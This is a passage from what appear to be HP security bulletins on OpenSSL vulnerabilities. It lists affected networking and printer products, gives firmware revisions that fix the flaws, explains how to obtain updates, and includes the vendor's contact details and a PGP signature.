progress\nuse mitigations\n JD270A HP S1000-S VPN Firewall Appliance\nJD271A HP S1000-A VPN Firewall Appliance\nJG213A HP F1000-S-EI VPN Firewall Appliance\nJG214A HP F1000-A-EI VPN Firewall Appliance\n\nSecBlade FW\n Fix in progress\nuse mitigations\n JC635A HP 12500 VPN Firewall Module\nJD245A HP 9500 VPN Firewall Module\nJD249A HP 10500/7500 Advanced VPN Firewall Mod\nJD250A HP 6600 Firewall Processing Rtr Module\nJD251A HP 8800 Firewall Processing Module\nJD255A HP 5820 VPN Firewall Module\n H3C S9500E SecBlade VPN Firewall Module (0231A0AV)\nH3C S7500E SecBlade VPN Firewall Module (0231A832)\nH3C SR66 Gigabit Firewall Module (0231A88A)\nH3C SR88 Firewall Processing Module (0231A88L)\nH3C S5820 SecBlade VPN Firewall Module (0231A94J)\n\nF1000E\n Fix in progress\nuse mitigations\n JD272A HP S1000-E VPN Firewall Appliance\n\nVSR1000\n Fix in progress\nuse mitigations\n JG810AAE HP VSR1001 Virtual Services Router\nJG811AAE HP VSR1001 Virtual Services Router\nJG812AAE HP VSR1004 Virtual Services Router\nJG813AAE HP VSR1008 Virtual Services Router\n\nWX5002/5004\n Fix in progress\nuse mitigations\n JD441A HP 5800 ACM for 64-256 APs\nJD447B HP WX5002 Access Controller\nJD448A HP A-WX5004 Access Controller\nJD448B HP WX5004 Access Controller\nJD469A HP A-WX5004 (3Com) Access Controller\nJG261A HP 5800 Access Controller OAA TAA Mod\n\nHP 850/870\n Fix in progress\nuse mitigations\n JG723A HP 870 Unified Wired-WLAN Appliance\nJG725A HP 870 Unifd Wrd-WLAN TAA Applnc\n\nHP 830\n Fix in progress\nuse mitigations\n JG640A HP 830 24P PoE+ Unifd Wired-WLAN Swch\nJG641A HP 830 8P PoE+ Unifd Wired-WLAN Swch\nJG646A HP 830 24-Port PoE+ Wrd-WLAN TAA Switch\nJG647A HP 830 8-Port PoE+ Wrd-WLAN TAA Switch\n\nHP 6000\n Fix in progress\nuse mitigations\n JG639A HP 10500/7500 20G Unified Wired-WLAN Mod\nJG645A HP 10500/7500 20G Unifd Wrd-WLAN TAA Mod\n\nM220\n Fix in progress\nuse mitigations\n J9798A HP M220 802.11n AM Access Point\nJ9799A HP M220 802.11n WW Access Point\n\nNGFW\n Fix in progress\nuse mitigations\n JC882A HP S1050F NGFW Aplnc w/DVLabs 1-yr Lic\nJC883A HP S3010F NGFW Aplnc w/DVLabs 1-yr Lic\nJC884A HP S3020F NGFW Aplnc w/DVLabs 1-yr Lic\nJC885A HP S8005F NGFW Aplnc w/DVLabs 1-yr Lic\nJC886A HP S8010F NGFW Aplnc w/DVLabs 1-yr Lic\n\niMC UAM 7.0\n Fix in progress\nuse mitigations\n JD144A HP IMC UAM S/W Module w/200-User License\nJF388A HP IMC UAM S/W Module w/200-user License\nJD435A HP IMC EAD Client Software\nJF388AAE HP IMC UAM S/W Module w/200-user E-LTU\nJG752AAE HP IMC UAM SW Mod w/ 50-user E-LTU\n\niMC EAD 7.0\n Fix in progress\nuse mitigations\n JF391AAE HP IMC EAD S/W Module w/200-user E-LTU\nJG754AAE HP IMC EAD SW Module w/ 50-user E-LTU\nJD147A HP IMC Endpoint Admission Defense Software Module with 200-user\nLicense\nJF391A HP IMC EAD S/W Module w/200-user License\n\niMC PLAT 7.0\n Fix in progress\nuse mitigations\n JF377AAE HP IMC Standard Edition Software Platform with 100-node E-LTU\nJG549AAE HP PCM+ to IMC Std Upgr w/200-node E-LTU\nJG747AAE HP IMC Standard Software Platform with 50-node E-LTU\nJG768AAE HP PCM+ to IMC Std Upg w/ 200-node E-LTU\nJD125A HP IMC Standard Edition Software Platform with 100-node License\nJD815A HP IMC Standard Edition Software Platform with 100-node License\nJD816A HP A-IMC Standard Edition Software DVD Media\nJF377A HP IMC Standard Edition Software Platform with 100-node License\nJF288AAE HP Network Director to Intelligent Management Center Upgrade E-LTU\nJF289AAE HP Enterprise Management System to Intelligent Management Center\nUpgrade E-LTU\nTJ635AAE HP IMC for ANM 50 node pack SW E-LTU (On HP Softwares CPL\nnot HPNs)\nJF378AAE HP IMC Enterprise Edition Software Platform with 200-Node E-LTU\nJG748AAE HP IMC Enterprise Software Platform with 50-node E-LTU\nJD126A HP A-IMC Enterprise Software Platform with 200-node License\nJD808A HP A-IMC Enterprise Software Platform with 200-node License\nJD814A HP A-IMC Enterprise Edition Software DVD Media\nJF378A HP IMC Enterprise Edition Software Platform with 200-node License\nJG546AAE HP IMC Basic SW Platform w/50-node E-LTU\nJG548AAE HP PCM+ to IMC Bsc Upgr w/50-node E-LTU\nJG550AAE HP PMM to IMC Bsc WLM Upgr w/150 AP E-LTU\nJG590AAE HP IMC Bsc WLAN Mgr SW Pltfm 50 AP E-LTU\nJG659AAE HP IMC Smart Connect Virtual Appliance Edition E-LTU\nJG766AAE HP IMC Smart Connect Virtual Appliance Edition E-LTU\nJG660AAE HP IMC Smart Connect w / WLAN Manager Virtual Appliance Edition\nE-LTU\nJG767AAE HP IMC Smart Connect with Wireless Service Manager Virtual Appliance\nSoftware E-LTU\n\nHISTORY\nVersion:1 (rev.1) - 20 June 2014 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running HP software products should be applied in\naccordance with the customer\u0027s patch management policy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HP Services support channel.  For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hp.com. \n\nReport: To report a potential security vulnerability with any HP supported\nproduct, send Email to: security-alert@hp.com\n\nSubscribe: To initiate a subscription to receive future HP Security Bulletin\nalerts via Email:\nhttp://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HP General Software\nHF = HP Hardware and Firmware\nMP = MPE/iX\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPI = Printing and Imaging\nPV = ProCurve\nST = Storage Software\nTU = Tru64 UNIX\nUX = HP-UX\n\nCopyright 2014 Hewlett-Packard Development Company, L.P. \nHewlett-Packard Company shall not be liable for technical or editorial errors\nor omissions contained herein. The information provided is provided \"as is\"\nwithout warranty of any kind. To the extent permitted by law, neither HP or\nits affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. \nHewlett-Packard Company and the names of Hewlett-Packard products referenced\nherein are trademarks of Hewlett-Packard Company in the United States and\nother countries. Other product and company names mentioned herein may be\ntrademarks of their respective owners. \n\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.13 (GNU/Linux)\n\niEYEARECAAYFAlOkrM4ACgkQ4B86/C0qfVn7/QCeK5T1H9dXfVQgIKSr5USqLmvq\nCtMAnjujH7e5aXfIOvxyyuB0FcSwIWCM\n=CEL7\n-----END PGP SIGNATURE-----\n. \nOpenSSL is a 3rd party product that is embedded with some HP printer\nproducts. This bulletin notifies HP Printer customers about impacted\nproducts. To obtain the updated firmware, go to www.hp.com and follow\nthese steps:\n\nSelect \"Drivers \u0026 Software\". \nEnter the appropriate product name listed in the table below into the search\nfield. \nClick on \"Search\". \nClick on the appropriate product. \nUnder \"Select operating system\" click on \"Cross operating system (BIOS,\nFirmware, Diagnostics, etc.)\"\nNote: If the \"Cross operating system ...\" link is not present, select\napplicable Windows operating system from the list. \nSelect the appropriate firmware update under \"Firmware\". \n\nFirmware Updates Table\n\nProduct Name\n Model Number\n Firmware Revision\n\nHP Color LaserJet CM4540 MFP\n CC419A, CC420A, CC421A\n v 2302963_436067 (or higher)\n\nHP Color LaserJet CP5525\n CE707A,CE708A,CE709A\n v 2302963_436070 (or higher)\n\nHP Color LaserJet Enterprise M750\n D3L08A, D3L09A, D3L10A\n v 2302963_436077 (or higher)\n\nHP Color LaserJet M651\n CZ255A, CZ256A, CZ257A, CZ258A\n v 2302963_436073 (or higher)\n\nHP Color LaserJet M680\n CZ248A, CZ249A\n v 2302963_436072 (or higher)\n\nHP Color LaserJet Flow M680\n CZ250A, CA251A\n v 2302963_436072 (or higher)\n\nHP LaserJet Enterprise 500 color MFP M575dn\n CD644A, CD645A\n v 2302963_436081 (or higher)\n\nHP LaserJet Enterprise 500 MFP M525f\n CF116A, CF117A\n v 2302963_436069 (or higher)\n\nHP LaserJet Enterprise 600 M601 Series\n CE989A, CE990A\n v 2302963_436082 (or higher)\n\nHP LaserJet Enterprise 600 M602 Series\n CE991A, CE992A, CE993A\n v 2302963_436082 (or higher)\n\nHP LaserJet Enterprise 600 M603 Series\n CE994A, CE995A, CE996A\n v 2302963_436082 (or higher)\n\nHP LaserJet Enterprise MFP M630 series\n B3G84A, B3G85A, B3G86A, J7X28A\n v 2303714_233000041 (or higher)\n\nHP LaserJet Enterprise 700 color M775 series\n CC522A, CC523A, CC524A, CF304A\n v 2302963_436079 (or higher)\n\nHP LaserJet Enterprise 700 M712 series\n CF235A, CF236A, CF238A\n v 2302963_436080 (or higher)\n\nHP LaserJet Enterprise 800 color M855\n A2W77A, A2W78A, A2W79A\n v 2302963_436076 (or higher)\n\nHP LaserJet Enterprise 800 color MFP M880\n A2W76A, A2W75A, D7P70A, D7P71A\n v 2302963_436068 (or higher)\n\nHP LaserJet Enterprise Color 500 M551 Series\n CF081A,CF082A,CF083A\n v 2302963_436083 (or higher)\n\nHP LaserJet Enterprise color flow MFP M575c\n CD646A\n v 2302963_436081 (or higher)\n\nHP LaserJet Enterprise flow M830z MFP\n CF367A\n v 2302963_436071 (or higher)\n\nHP LaserJet Enterprise flow MFP M525c\n CF118A\n v 2302963_436069 (or higher)\n\nHP LaserJet Enterprise M4555 MFP\n CE502A,CE503A, CE504A, CE738A\n v 2302963_436064 (or higher)\n\nHP LaserJet Enterprise M806\n CZ244A, CZ245A\n v 2302963_436075 (or higher)\n\nHP LaserJet Enterprise MFP M725\n CF066A, CF067A, CF068A, CF069A\n v 2302963_436078 (or higher)\n\nHP Scanjet Enterprise 8500 Document Capture Workstation\n L2717A, L2719A\n v 2302963_436065 (or higher)\n\nOfficeJet Enterprise Color MFP X585\n B5L04A, B5L05A,B5L07A\n v 2302963_436066 (or higher)\n\nOfficeJet Enterprise Color X555\n C2S11A, C2S12A\n v 2302963_436074 (or higher)\n\nHP Color LaserJet CP3525\n CC468A, CC469A, CC470A, CC471A\n v 06.183.1 (or higher)\n\nHP LaserJet M4345 Multifunction Printer\n CB425A, CB426A, CB427A, CB428A\n v 48.306.1 (or higher)\n\nHP LaserJet M5025 Multifunction Printer\n Q7840A\n v 48.306.1 (or higher)\n\nHP Color LaserJet CM6040 Multifunction Printer\n Q3938A, Q3939A\n v 52.256.1 (or higher)\n\nHP Color LaserJet Enterprise CP4525\n CC493A, CC494A, CC495A\n v 07.164.1 (or higher)\n\nHP Color LaserJet Enterprise CP4025\n CC489A, CC490A\n v 07.164.1 (or higher)\n\nHP LaserJet M5035 Multifunction Printer\n Q7829A, Q7830A, Q7831A\n v 48.306.1 (or higher)\n\nHP LaserJet M9050 Multifunction Printer\n CC395A\n v 51.256.1 (or higher)\n\nHP LaserJet M9040 Multifunction Printer\n CC394A\n v 51.256.1 (or higher)\n\nHP Color LaserJet CM4730 Multifunction Printer\n CB480A, CB481A, CB482A, CB483A\n v 50.286.1 (or higher)\n\nHP LaserJet M3035 Multifunction Printer\n CB414A, CB415A, CC476A, CC477A\n v 48.306.1 (or higher)\n\nHP 9250c Digital Sender\n CB472A\n v 48.293.1 (or higher)\n\nHP LaserJet Enterprise P3015\n CE525A,CE526A,CE527A,CE528A,CE595A\n v 07.186.1 (or higher)\n\nHP LaserJet M3027 Multifunction Printer\n CB416A, CC479A\n v 48.306.1 (or higher)\n\nHP LaserJet CM3530 Multifunction Printer\n CC519A, CC520A\n v 53.236.1 (or higher)\n\nHP Color LaserJet CP6015\n Q3931A, Q3932A, Q3933A, Q3934A, Q3935A\n v 04.203.1 (or higher)\n\nHP LaserJet P4515\n CB514A,CB515A, CB516A, CB517A\n v 04.213.1 (or higher)\n\nHP Color LaserJet CM6030 Multifunction Printer\n CE664A, CE665A\n v 52.256.1 (or higher)\n\nHP LaserJet P4015\n CB509A, CB526A, CB511A, CB510A\n v 04.213.1 (or higher)\n\nHP LaserJet P4014\n CB507A, CB506A, CB512A\n v 04.213.1 (or higher)\n\nHISTORY\nVersion:1 (rev.1) - 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